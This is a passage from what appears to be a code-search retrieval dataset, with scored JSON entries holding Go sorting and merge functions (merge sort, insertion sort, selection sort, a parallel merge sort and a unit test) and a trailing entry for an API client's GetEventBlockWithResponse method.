{\r\n\t\t\t\tbreak\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\ta[i] = a[r]\r\n\t\t\tr++\r\n\t\t\tif r == len(a) {\r\n\t\t\t\tcopy(a[i+1:], s[l:mid])\r\n\t\t\t\tbreak\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t}\r\n}", "title": "" }, { "docid": "e6c15e07eae82f94d3cba0e84ac1c5d1", "score": "0.6137658", "text": "func MergeSort(slice []bank4.Account) []bank4.Account {\n\n\tif len(slice) < 2 {\n\t\treturn slice\n\t}\n\tmid := (len(slice)) / 2\n\treturn Merge(MergeSort(slice[:mid]), MergeSort(slice[mid:]))\n}", "title": "" }, { "docid": "2f462b0b3590676b278d8efa13735306", "score": "0.6128504", "text": "func mergeSortedArray(nums1 []int, len1 int, nums2 []int, len2 int) {\n\tl := len1+len2\n\ti1, i2 := len1-1, len2-1\n\tfor i := l-1; i >= 0 ; i-- {\n\n\t\tif i1 < 0 && i2 < 0 {\n\t\t\tbreak\n\t\t}\n\t\tif i1 < 0 {\n\t\t\tnums1[i] = nums2[i2]\n\t\t\ti2--\n\t\t\tcontinue\n\t\t} else if i2 < 0 {\n\t\t\tnums1[i] = nums1[i1]\n\t\t\ti1--\n\t\t\tcontinue\n\t\t}\n\n\t\tif nums1[i1] > nums2[i2] {\n\t\t\tnums1[i] = nums1[i1]\n\t\t\ti1--\n\t\t} else {\n\t\t\tnums1[i] = nums2[i2]\n\t\t\ti2--\n\t\t}\n\t}\n}", "title": "" }, { "docid": "701691ceccf5f9a8765ae59ab7d4e1aa", "score": "0.6128419", "text": "func mergeInto(input [] SortableObject, firstRange Range, secondRange Range, comp CompFunction, into [] SortableObject, atIndex int) {\n\n}", "title": "" }, { "docid": "6e1b22f99ef5738ce0562518462deb7f", "score": "0.6125642", "text": "func mergeSortedSlices(a []uint64, b []uint64) (c []uint64) {\n\tmaxa := len(a)\n\tmaxb := len(b)\n\n\t// shortcuts:\n\tif maxa == 0 {\n\t\treturn b\n\t}\n\tif maxb == 0 {\n\t\treturn a\n\t}\n\n\t// make it (potentially) too long and truncate later\n\tc = make([]uint64, maxa+maxb)\n\n\tidxa, idxb := 0, 0\n\tfor j := 0; j < len(c); j++ {\n\t\t// if we're out of a or b, just use the remainder of the other one\n\t\tif idxa >= maxa {\n\t\t\t// a is done, copy remainder of b\n\t\t\tj += copy(c[j:], b[idxb:])\n\t\t\tc = c[:j] // truncate empty section of c\n\t\t\tbreak\n\t\t}\n\t\tif idxb >= maxb {\n\t\t\t// b is done, copy remainder of a\n\t\t\tj += copy(c[j:], a[idxa:])\n\t\t\tc = c[:j] // truncate empty section of c\n\t\t\tbreak\n\t\t}\n\n\t\tvala, valb := a[idxa], b[idxb]\n\t\tif vala < valb { // a is less so append that\n\t\t\tc[j] = vala\n\t\t\tidxa++\n\t\t} else if vala > valb { // b is less so append that\n\t\t\tc[j] = valb\n\t\t\tidxb++\n\t\t} else { // they're equal\n\t\t\tc[j] = vala\n\t\t\tidxa++\n\t\t\tidxb++\n\t\t}\n\t}\n\treturn\n}", "title": "" }, { "docid": "6e268578860d1713ee66a6dc95e018da", "score": "0.6114221", "text": "func merge(nums1 []int, m int, nums2 []int, n int) {\n\ti, j := m-1, n-1\n\tfor j >= 0 && i >= 0 {\n\t\tif nums2[j] >= nums1[i] {\n\t\t\tnums1[i+j+1] = nums2[j]\n\t\t\tj--\n\t\t} else {\n\t\t\tnums1[i+j+1] = nums1[i]\n\t\t\ti--\n\t\t}\n\t}\n\n\tfor j >= 0 {\n\t\tnums1[j] = nums2[j]\n\t\tj--\n\t}\n}", "title": "" }, { "docid": "f73e11163de04479f7dfb60c4db46b2a", "score": "0.6102287", "text": "func IntsInsertionSort(d, ids []int, l, r int, asc bool) {\n\tfor x := l; x < r; x++ {\n\t\tfor y := x + 1; y < r; y++ {\n\t\t\tif asc {\n\t\t\t\tif d[x] > d[y] {\n\t\t\t\t\tIntsSwap(ids, x, y)\n\t\t\t\t\tIntsSwap(d, x, y)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif d[x] < d[y] {\n\t\t\t\t\tIntsSwap(ids, x, y)\n\t\t\t\t\tIntsSwap(d, x, y)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2170db0bb1172f2b448ac76bca5bc523", "score": "0.60989964", "text": "func SortIntSlice(slc []int) {\n\n\tif nil != slc {\n\t\tsort.Ints(slc)\n\t}\n}", "title": "" }, { "docid": "a85936577d51de043f0954ba1caa59bb", "score": "0.6086567", "text": "func merge(arr1 []int, arr2 []int) []int {\n\n\tif len(arr1) == 0 {\n\t\treturn arr2\n\t}\n\n\tif len(arr2) == 0 {\n\t\treturn arr1\n\t}\n\n\tarr1_first := arr1[0]\n\tarr2_first := arr2[0]\n\n\tif arr1_first < arr2_first {\n\t\treturn append([]int{arr1_first}, merge(arr1[1:], arr2)...)\n\t} else {\n\t\treturn append([]int{arr2_first}, merge(arr1, arr2[1:])...)\n\t}\n}", "title": "" }, { "docid": "6b4ec7a4d7c1911214944d48340790a1", "score": "0.60834324", "text": "func SelectionSort(slice []int) []int {\n\tsize := len(slice)\n\n\t// Return the slice if it can't to be sorted\n\tif size < 2 {\n\t\treturn slice\n\t}\n\n\t// Loop through all the elements in the slice\n\t// starting from index 0;\n\tfor i := 0; i < size; i++ {\n\t\t// Store the current value as temporary minimum\n\t\tmin := i\n\n\t\t// Iterate through all the elements that come\n\t\t// after the current value.\n\t\tfor j := i + 1; j < size; j++ {\n\t\t\t// If an element is smaller that the current\n\t\t\t// minimum, overwrite the minimum.\n\t\t\tif slice[j] < slice[min] {\n\t\t\t\tmin = j\n\t\t\t}\n\t\t}\n\n\t\t// If an element is smaller than the current\n\t\t// value, swap the two elements.\n\t\tif min != i {\n\t\t\tslice[i], slice[min] = slice[min], slice[i]\n\t\t}\n\t}\n\n\t// Return the sorted slice\n\treturn slice\n}", "title": "" }, { "docid": "eada25780e80d39fa06bb753b580cdf4", "score": "0.60808086", "text": "func HybridInsertionMergeSort(data []int, first, last, min int, cmp Comparator) {\n\tnumElems := (last - first) + 1\n\n\tif numElems <= 1 {\n\t\treturn\n\t}\n\n\tif numElems > min {\n\t\tmid := (first + last) / 2\n\t\tHybridInsertionMergeSort(data, first, mid, min, cmp)\n\t\tHybridInsertionMergeSort(data, mid+1, last, min, cmp)\n\t\tmerge(data, first, mid, last, cmp)\n\t} else {\n\t\tInsertionSort(data, first, last, cmp)\n\t}\n}", "title": "" }, { "docid": "03e50210475d6799258a388a16760f6a", "score": "0.60672957", "text": "func (vss *VenueSortSlice) mergeSort(a VenueSortSlice, c func(a *Venue, b *Venue) bool) {\r\n\tif len(a) > 1 {\r\n\t\tmid := len(a) / 2\r\n\t\tvss.mergeSort(a[:mid], c)\r\n\t\tvss.mergeSort(a[mid:], c)\r\n\t\tvss.merge(a, mid, c)\r\n\t}\r\n}", "title": "" }, { "docid": "33ad58c868d43eb4b9b1bb44509fa130", "score": "0.6063941", "text": "func merge(nums1 []int, m int, nums2 []int, n int) {\n i,j := m-1,n-1\n for ; i >= 0 && j >= 0; {\n if nums1[i] > nums2[j] {\n nums1[i+j+1] = nums1[i]\n i--\n } else {\n nums1[i+j+1] = nums2[j]\n j--\n }\n }\n for ; j >= 0; j-- {\n nums1[j] = nums2[j]\n }\n}", "title": "" }, { "docid": "b911fcbfdd3c28cdd149d67e983b5d0a", "score": "0.60630465", "text": "func Merge(l, r []int) []int {\n\tret := make([]int, 0, len(l)+len(r))\n\tfor len(l) > 0 || len(r) > 0 {\n\t\tif len(l) == 0 {\n\t\t\treturn append(ret, r...)\n\t\t}\n\t\tif len(r) == 0 {\n\t\t\treturn append(ret, l...)\n\t\t}\n\t\tif l[0] <= r[0] {\n\t\t\tret = append(ret, l[0])\n\t\t\tl = l[1:]\n\t\t} else {\n\t\t\tret = append(ret, r[0])\n\t\t\tr = r[1:]\n\t\t}\n\t}\n\treturn ret\n}", "title": "" }, { "docid": "6de9c65f03c5f4c597c3d6c76111129f", "score": "0.6058308", "text": "func merge(a []int,b []int) []int{\n\ti,j:=0,0\n\tvar c []int\n\tfor i<len(a) && j<len(b){\n\t\tif a[i]<b[j]{\n\t\t\tc = append(c,a[i])\n\t\t\ti++\n\t\t}else{\n\t\t\tc = append(c,b[j])\n\t\t\tj++\n\t\t}\n\t}\n\tfor i<len(a) {\n\t\tc = append(c,a[i])\n\t\ti++\n\t}\n\tfor j<len(b){\n\t\tc = append(c,b[j])\n\t\tj++\n\t}\n\treturn c\n}", "title": "" }, { "docid": "79a8d95f0ef83a4a1800194920b82a5f", "score": "0.60206", "text": "func subSort(sorted []int, leftStart int, rightEnd int) {\n\t// stop the recursion if there is nothing to divide\n\tif leftStart >= rightEnd {\n\t\treturn\n\t}\n\t// calculating the middle element so that we can divide our\n\t// slice\n\tmiddle := (leftStart + rightEnd) / 2\n\t// calling itself recursively with both halves\n\tsubSort(sorted, leftStart, middle)\n\tsubSort(sorted, middle+1, rightEnd)\n\t// merging the two sorted halves\n\tmerge(sorted, leftStart, rightEnd)\n}", "title": "" }, { "docid": "cf2fd01be600abbdfb921a83604e7e46", "score": "0.6018146", "text": "func insertionsort(target []int) {\n\tfor i := 1; i < len(target); i++ {\n\n\t\t// break the loop if the previous element is less than the current element\n\t\t// or if it reaches the first element of the slice\n\t\tfor i > 0 {\n\t\t\tif target[i-1] < target[i] {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// swap the elements in the slice\n\t\t\ttarget[i-1], target[i] = target[i], target[i-1]\n\t\t\ti--\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7b1fc22064a815c3a3a4e706b0364715", "score": "0.59985566", "text": "func sort(a []float64, ind []int, lo, hi int) {\n\tvar n, j int\n\tif hi <= lo {\n\t\treturn\n\t}\n\n\t// cutoff to insertion sort (Insertion.sort() uses half-open intervals)\n\tn = hi - lo + 1\n\tif n <= insertionSortCutoff {\n\t\tinsertionSort(a, ind, lo, hi)\n\t\treturn\n\t}\n\n\tj = partition(a, ind, lo, hi)\n\tsort(a, ind, lo, j-1)\n\tsort(a, ind, j+1, hi)\n}", "title": "" }, { "docid": "fde9f85ef4361a70c928dff70a0770f1", "score": "0.59707725", "text": "func InsertionSortInts(start, end int, arr []int) {\n\tInsertionSort(start, end,\n\t\tfunc(i int, j int) bool { return arr[i] < arr[j] }, func(i int, j int) { arr[i], arr[j] = arr[j], arr[i] })\n}", "title": "" }, { "docid": "77d2094f499cf969f3059c2d0db08351", "score": "0.59651655", "text": "func IntsIndirectSort(d []int, asc bool) (sortedIdx []int) {\n\tdlen := len(d)\n\n\tsortedIdx = make([]int, dlen)\n\tfor i := 0; i < dlen; i++ {\n\t\tsortedIdx[i] = i\n\t}\n\n\tIntsInplaceMergesort(d, sortedIdx, 0, dlen, asc)\n\n\treturn\n}", "title": "" }, { "docid": "d922c8b53a7977260606c9d0f9c7bea9", "score": "0.5952469", "text": "func merge(left, right []int) []int {\n\tleftIndex := 0\n\trightIndex := 0\n\tlenLeft := len(left)\n\tlenRight := len(right)\n\tvar merged []int\n\tfor leftIndex < lenLeft && rightIndex < lenRight {\n\t\tif left[leftIndex] < right[rightIndex] {\n\t\t\tmerged = append(merged, left[leftIndex])\n\t\t\tleftIndex = leftIndex + 1\n\t\t} else {\n\t\t\tmerged = append(merged, right[rightIndex])\n\t\t\trightIndex = rightIndex + 1\n\t\t}\n\t}\n\tif leftIndex < lenLeft {\n\t\tmerged = append(merged, left[leftIndex:]...)\n\t}\n\tif rightIndex < lenRight {\n\t\tmerged = append(merged, right[rightIndex:]...)\n\t}\n\treturn merged\n}", "title": "" }, { "docid": "9916f259b322e1b1a6d9d81a166d886c", "score": "0.59465045", "text": "func (is intSlice) Swap(i, j int) {\n\tis[i], is[j] = is[j], is[i]\n}", "title": "" }, { "docid": "8e0fe677ab61c41d6798e03e50e08e37", "score": "0.59187156", "text": "func parallelMergeSort(arr []int, threshold int) []int {\r\n\tif len(arr) <= 1 {\r\n\t\treturn arr\r\n\t}\r\n\r\n\t// masyvas suskaldomas i dvi dalis\r\n\tmid := len(arr) / 2\r\n\tleft := arr[:mid]\r\n\tright := arr[mid:]\r\n\r\n\t// i atskiras gijas skaidyti tik iki tam tikro dydzio\r\n\tif threshold > 0 && len(arr) > threshold {\r\n\t\tvar wg sync.WaitGroup\r\n\t\twg.Add(2)\r\n\r\n\t\t// suskaldyi masyvai rekursiskai perduodami toliau skaldyti\r\n\t\tgo func() {\r\n\t\t\tleft = parallelMergeSort(left, threshold)\r\n\t\t\twg.Done()\r\n\t\t}()\r\n\t\tgo func() {\r\n\t\t\tright = parallelMergeSort(right, threshold)\r\n\t\t\twg.Done()\r\n\t\t}()\r\n\r\n\t\t// laukiama kol gijos baigs darba\r\n\t\twg.Wait()\r\n\t} else {\r\n\t\t// suskaldyi masyvai rekursiskai perduodami toliau skaldyti\r\n\t\tleft = parallelMergeSort(left, threshold)\r\n\t\tright = parallelMergeSort(right, threshold)\r\n\t}\r\n\r\n\t// masyvai sujungiami ir surikiuojami\r\n\treturn merge(left, right)\r\n}", "title": "" }, { "docid": "bb49be6d0a91cc1953f67c333b9003b2", "score": "0.5904587", "text": "func indertionSort(input [] SortableObject, range_ Range, comp CompFunction) {\n\tfor i := range_.start; i < range_.end; i++ {\n\t\ttemp := input[i]\n\t\tj := i\n\t\tfor j > range_.start && comp(input[j-1], temp) == -1 {\n\t\t\tinput[j] = input[j-1]\n\t\t\tj--\n\t\t}\n\t\tinput[j] = temp\n\t}\n}", "title": "" }, { "docid": "f7d00cd89e741e2f21b3a53c73a5c806", "score": "0.5900922", "text": "func MergeSort(arr1, arr2, arr3 []int, wg *sync.WaitGroup) {\n\tsize1 := len(arr1)\n\tsize2 := len(arr2)\n\ti := 0\n\tj := 0\n\tk := 0\n\tfor i < size1 && j < size2 {\n\t\tif arr1[i] < arr2[j] {\n\t\t\tarr3[k] = arr1[i]\n\t\t\ti++\n\t\t} else {\n\t\t\tarr3[k] = arr2[j]\n\t\t\tj++\n\t\t}\n\t\tk++\n\t}\n\n\tfor i < size1 {\n\t\tarr3[k] = arr1[i]\n\t\ti++\n\t\tk++\n\t}\n\tfor j < size2 {\n\t\tarr3[k] = arr2[j]\n\t\tj++\n\t\tk++\n\t}\n\twg.Done()\n}", "title": "" }, { "docid": "ebedf21273616b1cd45be8b9b770e146", "score": "0.5873733", "text": "func Merge(arr []int) {\n\tsort(arr, 0, len(arr)-1)\n}", "title": "" }, { "docid": "b3fd622e7ceff7dfc0a07889e21888f1", "score": "0.5872399", "text": "func merge(intervals [][]int) [][]int {\n\tif len(intervals) == 0 || len(intervals) == 1 {\n\t\treturn intervals\n\t}\n\tsort.Slice(intervals, func(i, j int) bool {\n\t\treturn intervals[i][0] < intervals[j][0]\n\t})\n\tans := [][]int{}\n\tvar max func(a int, b int) int\n\tmax = func(a int, b int) int {\n\t\tif a > b {\n\t\t\treturn a\n\t\t}\n\t\treturn b\n\t}\n\tl := intervals[0][0]\n\tr := intervals[0][1]\n\tfor i := 1; i < len(intervals); i++ {\n\t\tif r >= intervals[i][0] {\n\t\t\tr = max(intervals[i][1], r)\n\t\t} else if intervals[i][0] > r {\n\t\t\tans = append(ans, []int{l, r})\n\t\t\tl = intervals[i][0]\n\t\t\tr = intervals[i][1]\n\t\t}\n\t\t// fmt.Printf(\"%d %d\\n\",l,r)\n\t}\n\tans = append(ans, []int{l, r})\n\treturn ans\n}", "title": "" }, { "docid": "62b75adfefda153c385d3eae256d562d", "score": "0.5867679", "text": "func joinSortMerge[LE, RE, R any](\n\tleft []LE,\n\tright []RE,\n\tleftLess func(i, j int) bool,\n\trightLess func(i, j int) bool,\n\tcompare func(lele LE, rele RE) int,\n\tmapper func(lele LE, rele RE) R,\n) []R {\n\tvar result = make([]R, 0, len(left))\n\n\tvar (\n\t\tc int\n\t\tll = len(left)\n\t\trl = len(right)\n\t)\n\n\tlss := sortSlice[LE]{\n\t\teles: left,\n\t\tl: ll,\n\t\tless: leftLess,\n\t}\n\tsort.Sort(lss)\n\trss := sortSlice[RE]{\n\t\teles: right,\n\t\tl: rl,\n\t\tless: rightLess,\n\t}\n\tsort.Sort(rss)\n\n\tlj := 0\n\tfor i := 0; i < ll; i++ {\n\t\tleftEle := left[i]\n\n\t\tfor j := lj; j < rl; j++ {\n\t\t\trightEle := right[j]\n\n\t\t\tc = compare(leftEle, rightEle)\n\t\t\tif c == -1 {\n\t\t\t\tbreak\n\t\t\t} else if c == 1 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tlj = j\n\t\t\tresult = append(result, mapper(leftEle, rightEle))\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn result\n}", "title": "" }, { "docid": "7d209a3bc8260e1f40d428b72e9ed67d", "score": "0.5844601", "text": "func sortByEnd(is [][]int) {\n\tif len(is) <= 1 {\n\t\treturn\n\t}\n\n\tvar small int\n\t{\n\t\tvar big int\n\t\tfor i := 1; i < len(is); i++ {\n\t\t\tif is[i][1] > is[0][1] {\n\t\t\t\tbig++\n\t\t\t} else {\n\t\t\t\tsmall++\n\t\t\t\tif big != 0 {\n\t\t\t\t\tis[i], is[small] = is[small], is[i]\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif small != 0 {\n\t\t\tis[0], is[small] = is[small], is[0]\n\t\t}\n\t}\n\n\tsortByEnd(is[:small])\n\tsortByEnd(is[small+1:])\n\n\treturn\n}", "title": "" }, { "docid": "db073ce58c52a8f70b6dc90d3e576cfb", "score": "0.58382654", "text": "func merge(left []int, right []int) []int {\n\tresult := make([]int, len(left)+len(right))\n\n\tleftArrayIndex, rightArrayIndex := 0, 0\n\n\tfor resultArrayIndex := 0; resultArrayIndex < len(result); resultArrayIndex++ {\n\t\tif leftArrayIndex >= len(left) {\n\t\t\tresult[resultArrayIndex] = right[rightArrayIndex]\n\t\t\trightArrayIndex++\n\t\t\tcontinue\n\n\t\t} else if rightArrayIndex >= len(right) {\n\t\t\tresult[resultArrayIndex] = left[leftArrayIndex]\n\t\t\tleftArrayIndex++\n\t\t\tcontinue\n\n\t\t}\n\n\t\tif left[leftArrayIndex] < right[rightArrayIndex] {\n\t\t\tresult[resultArrayIndex] = left[leftArrayIndex]\n\t\t\tleftArrayIndex++\n\n\t\t} else {\n\t\t\tresult[resultArrayIndex] = right[rightArrayIndex]\n\t\t\trightArrayIndex++\n\n\t\t}\n\n\t}\n\n\treturn result\n}", "title": "" }, { "docid": "77e567f3c9e7feb4be551571a43aef5b", "score": "0.58236307", "text": "func Merge(a []int, b []int) (c []int) {\r\n\ti := 0\r\n\tj := 0\r\n\t// will be placed on the heap\r\n\tc = make([]int, len(a)+len(b))\r\n\t// run until both sequences are read\r\n\tfor i < len(a) || j < len(b) {\r\n\t\t// if a is read, fill rest with b\r\n\t\tif i >= len(a) {\r\n\t\t\tc[i+j] = b[j]\r\n\t\t\tj++\r\n\t\t} else {\r\n\t\t\t// if b is read, fill rest with a\r\n\t\t\tif j >= len(b) {\r\n\t\t\t\tc[i+j] = a[i]\r\n\t\t\t\ti++\r\n\t\t\t} else {\r\n\t\t\t\t// if both are not read, compare and move one that has smaller value\r\n\t\t\t\tif a[i] < b[j] {\r\n\t\t\t\t\tc[i+j] = a[i]\r\n\t\t\t\t\ti++\r\n\t\t\t\t} else {\r\n\t\t\t\t\tc[i+j] = b[j]\r\n\t\t\t\t\tj++\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "045621960a41dfb94def2bc56d8e4b8b", "score": "0.58218944", "text": "func merge(seq1, seq2 []int32) []int32 {\n\ti, j := 0, 0\n\tlen1, len2 := len(seq1), len(seq2)\n\n\tvar seq []int32\n\n\tfor i < len1 && j < len2 {\n\t\tif seq1[i] <= seq2[j] {\n\t\t\tseq = append(seq, seq1[i])\n\t\t\ti++\n\t\t} else {\n\t\t\tseq = append(seq, seq2[j])\n\t\t\tj++\n\t\t}\n\t}\n\n\tfor i < len1 {\n\t\tseq = append(seq, seq1[i])\n\t\ti++\n\t}\n\n\tfor j < len2 {\n\t\tseq = append(seq, seq2[j])\n\t\tj++\n\t}\n\n\treturn seq\n}", "title": "" }, { "docid": "db44b0c4cfd461526eec733cfff63741", "score": "0.5821595", "text": "func intSlicesBinarySearch(a []int, beg, end, target int) int {\n\tl, r := beg, end\n\tm := 0\n\tfor l < r {\n\t\tm = l + (r-l)/2\n\t\tif a[m] < target {\n\t\t\tl = m + 1\n\t\t} else {\n\t\t\tr = m\n\t\t}\n\t}\n\treturn l\n}", "title": "" }, { "docid": "51e4b6b637d0d60351b05ba6da756106", "score": "0.58193076", "text": "func Merge(a, b []int) []int {\n\tresult := make([]int, 0, len(a)+len(b))\n\ti, j := 0, 0\n\tfor {\n\t\tif i < len(a) && j < len(b) {\n\t\t\tif a[i] < b[j] {\n\t\t\t\tresult = append(result, a[i])\n\t\t\t\ti++\n\t\t\t} else {\n\t\t\t\tresult = append(result, b[j])\n\t\t\t\tj++\n\t\t\t}\n\t\t} else if i < len(a) {\n\t\t\tresult = append(result, a[i])\n\t\t\ti++\n\t\t} else if j < len(b) {\n\t\t\tresult = append(result, b[j])\n\t\t\tj++\n\t\t} else {\n\t\t\treturn result\n\t\t}\n\t}\n}", "title": "" }, { "docid": "02eafd2d09fae1cd1839aaa0ca8c213e", "score": "0.5812593", "text": "func Selectionsort(nums []int) []int {\n\tfor i := 0; i < len(nums); i++ {\n\t\tmin := i\n\t\tfor j := i + 1; j < len(nums); j++ {\n\t\t\tif nums[j] < nums[min] {\n\t\t\t\tmin = j\n\t\t\t}\n\t\t}\n\t\tif min != i {\n\t\t\tnums[i], nums[min] = nums[min], nums[i]\n\t\t}\n\t}\n\treturn nums\n}", "title": "" }, { "docid": "f6516e451b7778b5614a1ce3503da959", "score": "0.58058214", "text": "func (s IntSlice) Swap(i, j int) {\n\ts[i], s[j] = s[j], s[i]\n}", "title": "" }, { "docid": "77ab255b751bd9785dac618ddaa29a11", "score": "0.58023167", "text": "func BubbleSort(intSlice []int) {\n\tl := len(intSlice)\n\tfor x := 0; x < l-1; x++ {\n\t\tfor y := 0; y < l-x-1; y++ {\n\t\t\tif intSlice[y] > intSlice[y+1] {\n\t\t\t\tSwap(intSlice, y)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3583b520001565b5db5cbe1dcddbe6b3", "score": "0.57967484", "text": "func IntsSortByIndex(d *[]int, sortedIds []int) {\n\tnewd := make([]int, len(*d))\n\n\tfor i := range sortedIds {\n\t\tnewd[i] = (*d)[sortedIds[i]]\n\t}\n\n\t(*d) = newd\n}", "title": "" }, { "docid": "0c8449306ae6c8d0faf4ab06c89e1f06", "score": "0.5795636", "text": "func _1206vdbeSorterMerge(tls *crt.TLS, _pTask uintptr /* *TSortSubtask */, _p1 uintptr /* *TSorterRecord */, _p2 uintptr /* *TSorterRecord */) (r uintptr) {\n\tesc := crt.MustMalloc(20)\n\tvar (\n\t\t_pFinal = esc // **TSorterRecord\n\t\t_pp uintptr // **TSorterRecord\n\t\t_bCached = esc + 16 // *int32\n\t\t_res int32\n\t)\n\tdefer crt.Free(esc)\n\t*(*uintptr)(unsafe.Pointer(_pFinal)) = 0\n\t_pp = _pFinal\n\t*(*int32)(unsafe.Pointer(_bCached)) = int32(0)\n\n_1:\n\t_res = fn170(*(*TSorterCompare)(unsafe.Pointer(_pTask + 32)))(tls, _pTask, _bCached, _p1+8*uintptr(1), *(*int32)(unsafe.Pointer(_p1)), _p2+8*uintptr(1), *(*int32)(unsafe.Pointer(_p2)))\n\tif _res > int32(0) {\n\t\tgoto _4\n\t}\n\n\t*(*uintptr)(unsafe.Pointer(_pp)) = _p1\n\t_pp = _p1 + 4\n\t_p1 = *(*uintptr)(unsafe.Pointer(_p1 + 4))\n\tif _p1 != 0 {\n\t\tgoto _6\n\t}\n\n\t*(*uintptr)(unsafe.Pointer(_pp)) = _p2\n\tgoto _3\n\n_6:\n\tgoto _5\n\n_4:\n\t*(*uintptr)(unsafe.Pointer(_pp)) = _p2\n\t_pp = _p2 + 4\n\t_p2 = *(*uintptr)(unsafe.Pointer(_p2 + 4))\n\t*(*int32)(unsafe.Pointer(_bCached)) = int32(0)\n\tif _p2 != 0 {\n\t\tgoto _7\n\t}\n\n\t*(*uintptr)(unsafe.Pointer(_pp)) = _p1\n\tgoto _3\n\n_7:\n_5:\n\tgoto _1\n\n_3:\n\treturn *(*uintptr)(unsafe.Pointer(_pFinal))\n}", "title": "" }, { "docid": "7525f9ace0414d64b1a2b14679bb12a1", "score": "0.5787589", "text": "func MergeSortAux(data, aux []int, first, last int, cmp Comparator) {\n\t// Handle the case when we are sorting 0 elements or sorting only one element:\n\t// Early return.\n\tnumElems := (last - first) + 1\n\tif numElems <= 1 {\n\t\treturn\n\t}\n\tmid := (first + last) / 2\n\tMergeSortAux(data, aux, first, mid, cmp)\n\tMergeSortAux(data, aux, mid+1, last, cmp)\n\tmergeAux(data, aux, first, mid, last, cmp)\n}", "title": "" }, { "docid": "f485e33dcf9d30c0190d3401c66f82f4", "score": "0.5780176", "text": "func SelectionSort(src []Comparable) []Comparable {\n\tl := len(src)\n\n\tfor i := 0; i < l; i++ {\n\t\tmin := i\n\t\tfor j := i + 1; j < l; j++ {\n\t\t\tif src[j].IsLessThan(src[min]) {\n\t\t\t\tmin = j\n\t\t\t}\n\t\t}\n\n\t\tsrc[i], src[min] = src[min], src[i]\n\t}\n\n\treturn src\n}", "title": "" }, { "docid": "b194c5befd63740e4704de632a09aa98", "score": "0.57710946", "text": "func Test_mergeSort(t *testing.T) {\n\tassert := assert.New(t)\n\ttests := []struct {\n\t\tinput []int\n\t\texpected []int\n\t}{\n\t\t{\n\t\t\t[]int{4, 2, 1, 3},\n\t\t\t[]int{1, 2, 3, 4},\n\t\t},\n\t\t{\n\t\t\t[]int{-1, 5, 3, 4, 0},\n\t\t\t[]int{-1, 0, 3, 4, 5},\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\toutput := mergeSort(tt.input)\n\t\tassert.Equal(tt.expected, output)\n\t}\n}", "title": "" }, { "docid": "67def4e918afb5b84173cf657af43549", "score": "0.5761199", "text": "func MergeSort(list []int) []int {\n\n\tvar res []int\n\n\t// Nil, empty, or short lists can be returned as is.\n\tif list == nil || len(list) <= 1 {\n\t\treturn list\n\t}\n\n\t// If we have a list of two items return them in numeric order.\n\tif len(list) == 2 {\n\t\tif list[0] > list[1] {\n\t\t\tlist[0], list[1] = list[1], list[0]\n\t\t}\n\n\t\treturn list\n\t}\n\n\t// If our list contains more than two items split the lists.\n\tpp := len(list) / 2\n\n\t// Sort the two new lists and merge the results.\n\ta := MergeSort(list[:pp])\n\tb := MergeSort(list[pp:])\n\tres = merge(a, b)\n\n\treturn res\n}", "title": "" }, { "docid": "603d7f9d58c1992fb18e4d44664f4338", "score": "0.5749838", "text": "func main() {\n\tvar valeur int\n\tvar tmp int\n\tfmt.Scanf(\"%d\", &valeur)\n\ts := make([]int, valeur)\n\tfor i := int(0); i < valeur; i++ {\n\t\tfmt.Scanf(\"%d\", &tmp)\n\t\ts[i] = tmp\n\t}\n\ts = MergeSort(s)\n\tfmt.Println(s)\n}", "title": "" }, { "docid": "d5e3c7ea4dad23b4ac2bdfffa831ff2b", "score": "0.57447577", "text": "func mergeSlice(nums []int) int {\n\tvar s string\n\tfor i := range nums {\n\t\ts += strconv.Itoa(nums[i])\n\t}\n\n\tn, _ := strconv.Atoi(s)\n\treturn n\n}", "title": "" }, { "docid": "cf3c8510870dc1db8a0e691616a4f908", "score": "0.57445884", "text": "func internalMerge(input [] SortableObject, firstRange Range, secondRange Range, comp CompFunction, buffer Range) {\n\n}", "title": "" }, { "docid": "64c525e65e181325638536f40bd7c3ca", "score": "0.5722973", "text": "func SelectionSort(s []int) {\n\tn := len(s)\n\tfor i := range s {\n\t\tfor j := i + 1; j < n; j++ {\n\t\t\tif s[j] < s[i] {\n\t\t\t\ts[j], s[i] = s[i], s[j]\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4a775106f6bbea14bc5443681cd0283d", "score": "0.57176185", "text": "func sortArray2(nums []int) []int {\n\tmergeSort(nums, 0, len(nums))\n\treturn nums\n}", "title": "" }, { "docid": "4a3703cd43d35e3f4b6a8894d42bdb69", "score": "0.57119554", "text": "func mysort(xs shapes.Intersections) shapes.Intersections {\n\tfor i := 0; i < len(xs); i++ {\n\t\tfor j := 0; j < len(xs); j++ {\n\t\t\tif xs[i].T < xs[j].T {\n\t\t\t\txs.Swap(i, j)\n\t\t\t}\n\t\t}\n\t}\n\treturn xs\n}", "title": "" } ]
0d97537e1db06e71f62c94cfe617a082
GetEventBlockWithResponse request returning GetEventBlockResponse
[ { "docid": "c21cf50a713b10c7b3efc3a6e108e2e4", "score": "0.7324124", "text": "func (c *ClientWithResponses) GetEventBlockWithResponse(ctx context.Context, index int, reqEditors ...RequestEditorFn) (*GetEventBlockResponse, error) {\n\trsp, err := c.GetEventBlock(ctx, index, reqEditors...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn ParseGetEventBlockResponse(rsp)\n}", "title": "" } ]
